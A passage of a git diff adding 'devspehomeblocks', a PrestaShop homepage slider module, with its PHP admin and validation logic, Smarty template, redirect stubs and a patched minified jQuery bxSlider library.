!Validate::isFileName(Tools::getValue('image_'.$language['id_lang']))) + $errors[] = $this->l('Invalid filename'); + if (Tools::getValue('image_old_'.$language['id_lang']) != null && !Validate::isFileName(Tools::getValue('image_old_'.$language['id_lang']))) + $errors[] = $this->l('Invalid filename'); + } + + /* Checks title/url/legend/description for default lang */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + if (Tools::strlen(Tools::getValue('title_'.$id_lang_default)) == 0) + $errors[] = $this->l('The title is not set.'); + if (Tools::strlen(Tools::getValue('subtitle_'.$id_lang_default)) == 0) + $errors[] = $this->l('The title is not set.'); + if (Tools::strlen(Tools::getValue('legend_'.$id_lang_default)) == 0) + $errors[] = $this->l('The legend is not set.'); + if (Tools::strlen(Tools::getValue('url_'.$id_lang_default)) == 0) + $errors[] = $this->l('The URL is not set.'); + if (!Tools::isSubmit('has_picture') && (!isset($_FILES['image_'.$id_lang_default]) || empty($_FILES['image_'.$id_lang_default]['tmp_name']))) + $errors[] = $this->l('The image is not set.'); + if (Tools::getValue('image_old_'.$id_lang_default) && !Validate::isFileName(Tools::getValue('image_old_'.$id_lang_default))) + $errors[] = $this->l('The image is not set.'); + } /* Validation for deletion */ + elseif (Tools::isSubmit('delete_id_slide') && (!Validate::isInt(Tools::getValue('delete_id_slide')) || !$this->slideExists((int)Tools::getValue('delete_id_slide')))) + $errors[] = $this->l('Invalid id_slide'); + + /* Display errors if needed */ + if (count($errors)) + { + $this->_html .= $this->displayError(implode('
          ', $errors)); + return false; + } + + /* Returns if validation is ok */ + return true; + } + + private function _postProcess() + { + $errors = array(); + + /* Processes Slider */ + if (Tools::isSubmit('submitSlider')) + { + $res = Configuration::updateValue('devspehomeblocks_WIDTH', (int)Tools::getValue('devspehomeblocks_WIDTH')); + $res &= Configuration::updateValue('devspehomeblocks_HEIGHT', (int)Tools::getValue('devspehomeblocks_HEIGHT')); + $res &= Configuration::updateValue('devspehomeblocks_SPEED', (int)Tools::getValue('devspehomeblocks_SPEED')); + $res &= Configuration::updateValue('devspehomeblocks_PAUSE', (int)Tools::getValue('devspehomeblocks_PAUSE')); + $res &= Configuration::updateValue('devspehomeblocks_LOOP', (int)Tools::getValue('devspehomeblocks_LOOP')); + $this->clearCache(); + if (!$res) + $errors[] = $this->displayError($this->l('The configuration could not be updated.')); + $this->_html .= $this->displayConfirmation($this->l('Configuration updated')); + } /* Process Slide status */ + elseif (Tools::isSubmit('changeStatus') && Tools::isSubmit('id_slide')) + { + $slide = new HomeBlocks((int)Tools::getValue('id_slide')); + if ($slide->active == 0) + $slide->active = 1; + else + $slide->active = 0; + $res = $slide->update(); + $this->clearCache(); + $this->_html .= ($res ? $this->displayConfirmation($this->l('Configuration updated')) : $this->displayError($this->l('The configuration could not be updated.'))); + } + /* Processes Slide */ + elseif (Tools::isSubmit('submitSlide')) + { + /* Sets ID if needed */ + if (Tools::getValue('id_slide')) + { + $slide = new HomeBlocks((int)Tools::getValue('id_slide')); + if (!Validate::isLoadedObject($slide)) + { + $this->_html .= $this->displayError($this->l('Invalid id_slide')); + return; + } + } + else + $slide = new HomeBlocks(); + /* Sets position */ + $slide->position = (int)Tools::getValue('position'); + /* Sets active */ + $slide->active = (int)Tools::getValue('active_slide'); + + /* Sets each langue fields */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + $slide->title[$language['id_lang']] = Tools::getValue('title_'.$language['id_lang']); + $slide->subtitle[$language['id_lang']] = Tools::getValue('subtitle_'.$language['id_lang']); + $slide->url[$language['id_lang']] = Tools::getValue('url_'.$language['id_lang']); + $slide->legend[$language['id_lang']] = Tools::getValue('legend_'.$language['id_lang']); + $slide->description[$language['id_lang']] = Tools::getValue('description_'.$language['id_lang']); + + /* Uploads image and sets slide */ + $type = strtolower(substr(strrchr($_FILES['image_'.$language['id_lang']]['name'], '.'), 1)); + $imagesize = array(); + $imagesize = @getimagesize($_FILES['image_'.$language['id_lang']]['tmp_name']); + if (isset($_FILES['image_'.$language['id_lang']]) && + isset($_FILES['image_'.$language['id_lang']]['tmp_name']) && + !empty($_FILES['image_'.$language['id_lang']]['tmp_name']) && + !empty($imagesize) && + in_array(strtolower(substr(strrchr($imagesize['mime'], '/'), 1)), array('jpg', 'gif', 'jpeg', 'png')) && + in_array($type, array('jpg', 'gif', 'jpeg', 'png'))) + { + $temp_name = tempnam(_PS_TMP_IMG_DIR_, 'PS'); + $salt = sha1(microtime()); + if ($error = ImageManager::validateUpload($_FILES['image_'.$language['id_lang']])) + $errors[] = $error; + elseif (!$temp_name || !move_uploaded_file($_FILES['image_'.$language['id_lang']]['tmp_name'], $temp_name)) + return false; + elseif (!ImageManager::resize($temp_name, dirname(__FILE__).'/images/'.Tools::encrypt($_FILES['image_'.$language['id_lang']]['name'].$salt).'.'.$type, null, null, $type)) + $errors[] = $this->displayError($this->l('An error occurred during the image upload process.')); + if (isset($temp_name)) + @unlink($temp_name); + $slide->image[$language['id_lang']] = Tools::encrypt($_FILES['image_'.($language['id_lang'])]['name'].$salt).'.'.$type; + } + elseif (Tools::getValue('image_old_'.$language['id_lang']) != '') + $slide->image[$language['id_lang']] = Tools::getValue('image_old_'.$language['id_lang']); + } + + /* Processes if no errors */ + if (!$errors) + { + /* Adds */ + if (!Tools::getValue('id_slide')) + { + if (!$slide->add()) + $errors[] = $this->displayError($this->l('The slide could not be added.')); + } + /* Update */ + elseif (!$slide->update()) + $errors[] = $this->displayError($this->l('The slide could not be updated.')); + $this->clearCache(); + } + } /* Deletes */ + elseif (Tools::isSubmit('delete_id_slide')) + { + $slide = new HomeBlocks((int)Tools::getValue('delete_id_slide')); + $res = $slide->delete(); + $this->clearCache(); + if (!$res) + $this->_html .= $this->displayError('Could not delete'); + else + $this->_html .= $this->displayConfirmation($this->l('Slide deleted')); + } + + /* Display errors if needed */ + if (count($errors)) + $this->_html .= $this->displayError(implode('
          ', $errors)); + elseif (Tools::isSubmit('submitSlide') && Tools::getValue('id_slide')) + $this->_html .= $this->displayConfirmation($this->l('Slide updated')); + elseif (Tools::isSubmit('submitSlide')) + $this->_html .= $this->displayConfirmation($this->l('Slide added')); + } + + private function _prepareHook() + { + if (!$this->isCached('devspehomeblocks.tpl', $this->getCacheId())) + { + // $slider = array( + // 'width' => Configuration::get('devspehomeblocks_WIDTH'), + // 'height' => Configuration::get('devspehomeblocks_HEIGHT'), + // 'speed' => Configuration::get('devspehomeblocks_SPEED'), + // 'pause' => Configuration::get('devspehomeblocks_PAUSE'), + // 'loop' => Configuration::get('devspehomeblocks_LOOP'), + // ); + + $slides = $this->getSlides(true); + if (!$slides) + return false; + + $this->smarty->assign('devspehomeblocks_slides', $slides); + // $this->smarty->assign('devspehomeblocks', $slider); + } + + return true; + } + + public function hookDisplayHome() + { + if(!$this->_prepareHook()) + return; + + // Check if not a mobile theme + // if ($this->context->getMobileDevice() != false) + // return false; + + $this->context->controller->addJS($this->_path.'js/jquery.bxSlider.min.js'); + $this->context->controller->addCSS($this->_path.'devspehomeblocks.css'); + $this->context->controller->addJS($this->_path.'js/devspehomeblocks.js'); + return $this->display(__FILE__, 'devspehomeblocks.tpl', $this->getCacheId()); + } + + public function clearCache() + { + $this->_clearCache('devspehomeblocks.tpl'); + } + + public function hookActionShopDataDuplication($params) + { + Db::getInstance()->execute(' + INSERT IGNORE INTO '._DB_PREFIX_.'devspehomeblocks (id_devspehomeblocks_slides, id_shop) + SELECT id_devspehomeblocks_slides, '.(int)$params['new_id_shop'].' + FROM '._DB_PREFIX_.'devspehomeblocks + WHERE id_shop = '.(int)$params['old_id_shop']); + $this->clearCache(); + } + + public function headerHTML() + { + if (Tools::getValue('controller') != 'AdminModules' && Tools::getValue('configure') != $this->name) + return; + + $this->context->controller->addJqueryUI('ui.sortable'); + /* Style & js for fieldset 'slides configuration' */ + $html = ' + + + '; + + return $html; + } + + public function getNextPosition() + { + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT MAX(hss.`position`) AS `next_position` + FROM `'._DB_PREFIX_.'devspehomeblocks_slides` hss, `'._DB_PREFIX_.'devspehomeblocks` hs + WHERE hss.`id_devspehomeblocks_slides` = hs.`id_devspehomeblocks_slides` AND hs.`id_shop` = '.(int)$this->context->shop->id + ); + + return (++$row['next_position']); + } + + public function getSlides($active = null) + { + $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hs.`id_devspehomeblocks_slides` as id_slide, + hssl.`image`, + hss.`position`, + hss.`active`, + hssl.`title`, + hssl.`subtitle`, + hssl.`url`, + hssl.`legend`, + hssl.`description` + FROM '._DB_PREFIX_.'devspehomeblocks hs + LEFT JOIN '._DB_PREFIX_.'devspehomeblocks_slides hss ON (hs.id_devspehomeblocks_slides = hss.id_devspehomeblocks_slides) + LEFT JOIN '._DB_PREFIX_.'devspehomeblocks_slides_lang hssl ON (hss.id_devspehomeblocks_slides = hssl.id_devspehomeblocks_slides) + WHERE (id_shop = '.(int)$id_shop.') + AND hssl.id_lang = '.(int)$id_lang. + ($active ? ' AND hss.`active` = 1' : ' ').' + ORDER BY hss.position'); + } + + public function displayStatus($id_slide, $active) + { + $title = ((int)$active == 0 ? $this->l('Disabled') : $this->l('Enabled')); + $img = ((int)$active == 0 ? 'disabled.gif' : 'enabled.gif'); + $html = ''; + return $html; + } + + public function slideExists($id_slide) + { + $req = 'SELECT hs.`id_devspehomeblocks_slides` as id_slide + FROM `'._DB_PREFIX_.'devspehomeblocks` hs + WHERE hs.`id_devspehomeblocks_slides` = '.(int)$id_slide; + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($req); + return ($row); + } +} diff --git a/modules/devspehomeblocks/devspehomeblocks.tpl b/modules/devspehomeblocks/devspehomeblocks.tpl new file mode 100755 index 0000000..cdf2bef --- /dev/null +++ b/modules/devspehomeblocks/devspehomeblocks.tpl @@ -0,0 +1,56 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +{if isset($devspehomeblocks_slides)} + + +{/if} + diff --git a/modules/devspehomeblocks/gray_next.png b/modules/devspehomeblocks/gray_next.png new file mode 100755 index 0000000..0f627e7 Binary files /dev/null and b/modules/devspehomeblocks/gray_next.png differ diff --git a/modules/devspehomeblocks/gray_next0.png b/modules/devspehomeblocks/gray_next0.png new file mode 100755 index 0000000..f7e93ee Binary files /dev/null and b/modules/devspehomeblocks/gray_next0.png differ diff --git a/modules/devspehomeblocks/gray_pager.png b/modules/devspehomeblocks/gray_pager.png new file mode 100755 index 0000000..f4780d2 Binary files /dev/null and b/modules/devspehomeblocks/gray_pager.png differ diff --git a/modules/devspehomeblocks/gray_prev.png b/modules/devspehomeblocks/gray_prev.png new file mode 100755 index 0000000..a7bfa9a Binary files /dev/null and b/modules/devspehomeblocks/gray_prev.png differ diff --git a/modules/devspehomeblocks/gray_prev0.png b/modules/devspehomeblocks/gray_prev0.png new file mode 100755 index 0000000..6091650 Binary files /dev/null and b/modules/devspehomeblocks/gray_prev0.png differ diff --git a/modules/devspehomeblocks/images/index.php b/modules/devspehomeblocks/images/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/devspehomeblocks/images/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspehomeblocks/index.php b/modules/devspehomeblocks/index.php new file mode 100755 index 0000000..a230e5a --- /dev/null +++ b/modules/devspehomeblocks/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspehomeblocks/js/homeslider.js b/modules/devspehomeblocks/js/homeslider.js new file mode 100755 index 0000000..62e5756 --- /dev/null +++ b/modules/devspehomeblocks/js/homeslider.js @@ -0,0 +1,46 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +$(function(){ + + if (typeof(homeslider_speed) == 'undefined') + homeslider_speed = 500; + if (typeof(homeslider_pause) == 'undefined') + homeslider_pause = 3000; + if (typeof(homeslider_loop) == 'undefined') + homeslider_loop = true; + + $('#homeslider').bxSlider({ + infiniteLoop: homeslider_loop, + hideControlOnEnd: true, + pager: false, + autoHover: true, + auto: homeslider_loop, + speed: homeslider_speed, + pause: homeslider_pause, + controls: true + }); +}); \ No newline at end of file diff --git a/modules/devspehomeblocks/js/index.php b/modules/devspehomeblocks/js/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/devspehomeblocks/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspehomeblocks/js/jquery.bxSlider.min.js b/modules/devspehomeblocks/js/jquery.bxSlider.min.js new file mode 100755 index 0000000..a214174 --- /dev/null +++ b/modules/devspehomeblocks/js/jquery.bxSlider.min.js @@ -0,0 +1,115 @@ +/** + * WARNING : library has been patched (search for START PATCH tag) from base version 3.0 to fix an error with IE < 9 + * jQuery bxSlider v3.0 + * http://bxslider.com + * + * Copyright 2010, Steven Wanderski + * http://stevenwanderski.com + * + * Free to use and abuse under the MIT license. + * http://www.opensource.org/licenses/mit-license.php + * + */ +(function($){$.fn.bxSlider=function(options){var defaults={mode:'horizontal',infiniteLoop:true,hideControlOnEnd:false,controls:true,speed:500,easing:'swing',pager:false,pagerSelector:null,pagerType:'full',pagerLocation:'bottom',pagerShortSeparator:'/',pagerActiveClass:'pager-active',nextText:'next',nextImage:'',nextSelector:null,prevText:'prev',prevImage:'',prevSelector:null,captions:false,captionsSelector:null,auto:false,autoDirection:'next',autoControls:false,autoControlsSelector:null,autoStart:true,autoHover:false,autoDelay:0,pause:3000,startText:'start',startImage:'',stopText:'stop',stopImage:'',ticker:false,tickerSpeed:5000,tickerDirection:'next',tickerHover:false,wrapperClass:'bx-wrapper',startingSlide:0,displaySlideQty:1,moveSlideQty:1,randomStart:false,onBeforeSlide:function(){},onAfterSlide:function(){},onLastSlide:function(){},onFirstSlide:function(){},onNextSlide:function(){},onPrevSlide:function(){},buildPager:null} +var options=$.extend(defaults,options);var base=this;var $parent='';var $origElement='';var $children='';var $outerWrapper='';var $firstChild='';var childrenWidth='';var childrenOuterWidth='';var wrapperWidth='';var wrapperHeight='';var $pager='';var interval='';var $autoControls='';var $stopHtml='';var $startContent='';var $stopContent='';var autoPlaying=true;var loaded=false;var childrenMaxWidth=0;var childrenMaxHeight=0;var currentSlide=0;var origLeft=0;var origTop=0;var origShowWidth=0;var origShowHeight=0;var tickerLeft=0;var tickerTop=0;var isWorking=false;var firstSlide=0;var lastSlide=$children.length-1;this.goToSlide=function(number,stopAuto){if(!isWorking){isWorking=true;currentSlide=number;options.onBeforeSlide(currentSlide,$children.length,$children.eq(currentSlide));if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +if(stopAuto){if(options.auto){base.stopShow(true);}} +slide=number;if(slide==firstSlide){options.onFirstSlide(currentSlide,$children.length,$children.eq(currentSlide));} +if(slide==lastSlide){options.onLastSlide(currentSlide,$children.length,$children.eq(currentSlide));} +if(options.mode=='horizontal'){$parent.animate({'left':'-'+getSlidePosition(slide,'left')+'px'},options.speed,options.easing,function(){isWorking=false;options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='vertical'){$parent.animate({'top':'-'+getSlidePosition(slide,'top')+'px'},options.speed,options.easing,function(){isWorking=false;options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='fade'){setChildrenFade();} +checkEndControls();if(options.moveSlideQty>1){number=Math.floor(number/options.moveSlideQty);} +makeSlideActive(number);showCaptions();}} +this.goToNextSlide=function(stopAuto){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +if(stopAuto){if(options.auto){base.stopShow(true);}} +if(!options.infiniteLoop){if(!isWorking){var slideLoop=false;currentSlide=(currentSlide+(options.moveSlideQty));if(currentSlide<=lastSlide){checkEndControls();options.onNextSlide(currentSlide,$children.length,$children.eq(currentSlide));base.goToSlide(currentSlide);}else{currentSlide-=options.moveSlideQty;}}}else{if(!isWorking){isWorking=true;var slideLoop=false;currentSlide=(currentSlide+options.moveSlideQty);if(currentSlide>lastSlide){currentSlide=currentSlide%$children.length;slideLoop=true;} +options.onNextSlide(currentSlide,$children.length,$children.eq(currentSlide));options.onBeforeSlide(currentSlide,$children.length,$children.eq(currentSlide));if(options.mode=='horizontal'){var parentLeft=(options.moveSlideQty*childrenOuterWidth);$parent.animate({'left':'-='+parentLeft+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('left','-'+getSlidePosition(currentSlide,'left')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='vertical'){var parentTop=(options.moveSlideQty*childrenMaxHeight);$parent.animate({'top':'-='+parentTop+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('top','-'+getSlidePosition(currentSlide,'top')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='fade'){setChildrenFade();} +if(options.moveSlideQty>1){makeSlideActive(Math.ceil(currentSlide/options.moveSlideQty));}else{makeSlideActive(currentSlide);} +showCaptions();}}} +this.goToPreviousSlide=function(stopAuto){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +if(stopAuto){if(options.auto){base.stopShow(true);}} +if(!options.infiniteLoop){if(!isWorking){var slideLoop=false;currentSlide=currentSlide-options.moveSlideQty;if(currentSlide<0){currentSlide=0;if(options.hideControlOnEnd){$('.bx-prev',$outerWrapper).hide();}} +checkEndControls();options.onPrevSlide(currentSlide,$children.length,$children.eq(currentSlide));base.goToSlide(currentSlide);}}else{if(!isWorking){isWorking=true;var slideLoop=false;currentSlide=(currentSlide-(options.moveSlideQty));if(currentSlide<0){negativeOffset=(currentSlide%$children.length);if(negativeOffset==0){currentSlide=0;}else{currentSlide=($children.length)+negativeOffset;} +slideLoop=true;} +options.onPrevSlide(currentSlide,$children.length,$children.eq(currentSlide));options.onBeforeSlide(currentSlide,$children.length,$children.eq(currentSlide));if(options.mode=='horizontal'){var parentLeft=(options.moveSlideQty*childrenOuterWidth);$parent.animate({'left':'+='+parentLeft+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('left','-'+getSlidePosition(currentSlide,'left')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='vertical'){var parentTop=(options.moveSlideQty*childrenMaxHeight);$parent.animate({'top':'+='+parentTop+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('top','-'+getSlidePosition(currentSlide,'top')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='fade'){setChildrenFade();} +if(options.moveSlideQty>1){makeSlideActive(Math.ceil(currentSlide/options.moveSlideQty));}else{makeSlideActive(currentSlide);} +showCaptions();}}} +this.goToFirstSlide=function(stopAuto){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +base.goToSlide(firstSlide,stopAuto);} +this.goToLastSlide=function(){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +base.goToSlide(lastSlide,stopAuto);} +this.getCurrentSlide=function(){return currentSlide;} +this.getSlideCount=function(){return $children.length;} +this.stopShow=function(changeText){clearInterval(interval);if(typeof(changeText)=='undefined'){var changeText=true;} +if(changeText&&options.autoControls){$autoControls.html($startContent).removeClass('stop').addClass('start');autoPlaying=false;}} +this.startShow=function(changeText){if(typeof(changeText)=='undefined'){var changeText=true;} +setAutoInterval();if(changeText&&options.autoControls){$autoControls.html($stopContent).removeClass('start').addClass('stop');autoPlaying=true;}} +this.stopTicker=function(changeText){$parent.stop();if(typeof(changeText)=='undefined'){var changeText=true;} +if(changeText&&options.ticker){$autoControls.html($startContent).removeClass('stop').addClass('start');autoPlaying=false;}} +this.startTicker=function(changeText){if(options.mode=='horizontal'){if(options.tickerDirection=='next'){var stoppedLeft=parseInt($parent.css('left'));var remainingDistance=(origShowWidth+stoppedLeft)+$children.eq(0).width();}else if(options.tickerDirection=='prev'){var stoppedLeft=-parseInt($parent.css('left'));var remainingDistance=(stoppedLeft)-$children.eq(0).width();} +var finishingSpeed=(remainingDistance*options.tickerSpeed)/origShowWidth;moveTheShow(tickerLeft,remainingDistance,finishingSpeed);}else if(options.mode=='vertical'){if(options.tickerDirection=='next'){var stoppedTop=parseInt($parent.css('top'));var remainingDistance=(origShowHeight+stoppedTop)+$children.eq(0).height();}else if(options.tickerDirection=='prev'){var stoppedTop=-parseInt($parent.css('top'));var remainingDistance=(stoppedTop)-$children.eq(0).height();} +var finishingSpeed=(remainingDistance*options.tickerSpeed)/origShowHeight;moveTheShow(tickerTop,remainingDistance,finishingSpeed);if(typeof(changeText)=='undefined'){var changeText=true;} +if(changeText&&options.ticker){$autoControls.html($stopContent).removeClass('start').addClass('stop');autoPlaying=true;}}} +this.initShow=function(){$parent=$(this);$origElement=$parent.clone();$children=$parent.children();$outerWrapper='';$firstChild=$parent.children(':first');childrenWidth=$firstChild.width();childrenMaxWidth=0;childrenOuterWidth=$firstChild.outerWidth();childrenMaxHeight=0;wrapperWidth=getWrapperWidth();wrapperHeight=getWrapperHeight();isWorking=false;$pager='';currentSlide=0;origLeft=0;origTop=0;interval='';$autoControls='';$stopHtml='';$startContent='';$stopContent='';autoPlaying=true;loaded=false;origShowWidth=0;origShowHeight=0;tickerLeft=0;tickerTop=0;firstSlide=0;lastSlide=$children.length-1;$children.each(function(index){if($(this).outerHeight()>childrenMaxHeight){childrenMaxHeight=$(this).outerHeight();} +if($(this).outerWidth()>childrenMaxWidth){childrenMaxWidth=$(this).outerWidth();}});if(options.randomStart){var randomNumber=Math.floor(Math.random()*$children.length);currentSlide=randomNumber;origLeft=childrenOuterWidth*(options.moveSlideQty+randomNumber);origTop=childrenMaxHeight*(options.moveSlideQty+randomNumber);}else{currentSlide=options.startingSlide;origLeft=childrenOuterWidth*(options.moveSlideQty+options.startingSlide);origTop=childrenMaxHeight*(options.moveSlideQty+options.startingSlide);} +initCss();if(options.pager&&!options.ticker){if(options.pagerType=='full'){showPager('full');}else if(options.pagerType=='short'){showPager('short');}} +if(options.controls&&!options.ticker){setControlsVars();} +if(options.auto||options.ticker){if(options.autoControls){setAutoControlsVars();} +if(options.autoStart){setTimeout(function(){base.startShow(true);},options.autoDelay);}else{base.stopShow(true);} +if(options.autoHover&&!options.ticker){setAutoHover();}} +if(options.moveSlideQty>1){makeSlideActive(Math.ceil(currentSlide/options.moveSlideQty));}else{makeSlideActive(currentSlide);} +checkEndControls();if(options.captions){showCaptions();} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));} +this.destroyShow=function(){clearInterval(interval);$('.bx-next, .bx-prev, .bx-pager, .bx-auto',$outerWrapper).remove();$parent.unwrap().unwrap().removeAttr('style');$parent.children().removeAttr('style').not('.pager').remove();$children.removeClass('pager');} +this.reloadShow=function(){base.destroyShow();base.initShow();} +function initCss(){setChildrenLayout(options.startingSlide);if(options.mode=='horizontal'){$parent.wrap('
          ').wrap('
          ').css({width:'999999px',position:'relative',left:'-'+(origLeft)+'px'});$parent.children().css({width:childrenWidth,'float':'left',listStyle:'none'});$outerWrapper=$parent.parent().parent();$children.addClass('pager');}else if(options.mode=='vertical'){$parent.wrap('
          ').wrap('
          ').css({height:'999999px',position:'relative',top:'-'+(origTop)+'px'});$parent.children().css({listStyle:'none',height:childrenMaxHeight});$outerWrapper=$parent.parent().parent();$children.addClass('pager');}else if(options.mode=='fade'){$parent.wrap('
          ').wrap('
          ');$parent.children().css({listStyle:'none',position:'absolute',top:0,left:0,zIndex:98});$outerWrapper=$parent.parent().parent();$children.not(':eq('+currentSlide+')').fadeTo(0,0);$children.eq(currentSlide).css('zIndex',99);} +if(options.captions&&options.captionsSelector==null){$outerWrapper.append('
          ');}} +function setChildrenLayout(){if(options.mode=='horizontal'||options.mode=='vertical'){var $prependedChildren=getArraySample($children,0,options.moveSlideQty,'backward');$.each($prependedChildren,function(index){$parent.prepend($(this));});var totalNumberAfterWindow=($children.length+options.moveSlideQty)-1;var pagerExcess=$children.length-options.displaySlideQty;var numberToAppend=totalNumberAfterWindow-pagerExcess;var $appendedChildren=getArraySample($children,0,numberToAppend,'forward');if(options.infiniteLoop){$.each($appendedChildren,function(index){$parent.append($(this));});}}} +function setControlsVars(){if(options.nextImage!=''){nextContent=options.nextImage;nextType='image';}else{nextContent=options.nextText;nextType='text';} +if(options.prevImage!=''){prevContent=options.prevImage;prevType='image';}else{prevContent=options.prevText;prevType='text';} +showControls(nextType,nextContent,prevType,prevContent);} +function setAutoInterval(){if(options.auto){if(!options.infiniteLoop){if(options.autoDirection=='next'){interval=setInterval(function(){currentSlide+=options.moveSlideQty;if(currentSlide>lastSlide){currentSlide=currentSlide%$children.length;} +base.goToSlide(currentSlide,false);},options.pause);}else if(options.autoDirection=='prev'){interval=setInterval(function(){currentSlide-=options.moveSlideQty;if(currentSlide<0){negativeOffset=(currentSlide%$children.length);if(negativeOffset==0){currentSlide=0;}else{currentSlide=($children.length)+negativeOffset;}} +base.goToSlide(currentSlide,false);},options.pause);}}else{if(options.autoDirection=='next'){interval=setInterval(function(){base.goToNextSlide(false);},options.pause);}else if(options.autoDirection=='prev'){interval=setInterval(function(){base.goToPreviousSlide(false);},options.pause);}}}else if(options.ticker){options.tickerSpeed*=10;$('.pager',$outerWrapper).each(function(index){origShowWidth+=$(this).width();origShowHeight+=$(this).height();});if(options.tickerDirection=='prev'&&options.mode=='horizontal'){$parent.css('left','-'+(origShowWidth+origLeft)+'px');}else if(options.tickerDirection=='prev'&&options.mode=='vertical'){$parent.css('top','-'+(origShowHeight+origTop)+'px');} +if(options.mode=='horizontal'){tickerLeft=parseInt($parent.css('left'));moveTheShow(tickerLeft,origShowWidth,options.tickerSpeed);}else if(options.mode=='vertical'){tickerTop=parseInt($parent.css('top'));moveTheShow(tickerTop,origShowHeight,options.tickerSpeed);} +if(options.tickerHover){setTickerHover();}}} +function moveTheShow(leftCss,distance,speed){if(options.mode=='horizontal'){if(options.tickerDirection=='next'){$parent.animate({'left':'-='+distance+'px'},speed,'linear',function(){$parent.css('left',leftCss);moveTheShow(leftCss,origShowWidth,options.tickerSpeed);});}else if(options.tickerDirection=='prev'){$parent.animate({'left':'+='+distance+'px'},speed,'linear',function(){$parent.css('left',leftCss);moveTheShow(leftCss,origShowWidth,options.tickerSpeed);});}}else if(options.mode=='vertical'){if(options.tickerDirection=='next'){$parent.animate({'top':'-='+distance+'px'},speed,'linear',function(){$parent.css('top',leftCss);moveTheShow(leftCss,origShowHeight,options.tickerSpeed);});}else if(options.tickerDirection=='prev'){$parent.animate({'top':'+='+distance+'px'},speed,'linear',function(){$parent.css('top',leftCss);moveTheShow(leftCss,origShowHeight,options.tickerSpeed);});}}} +function setAutoControlsVars(){if(options.startImage!=''){startContent=options.startImage;startType='image';}else{startContent=options.startText;startType='text';} 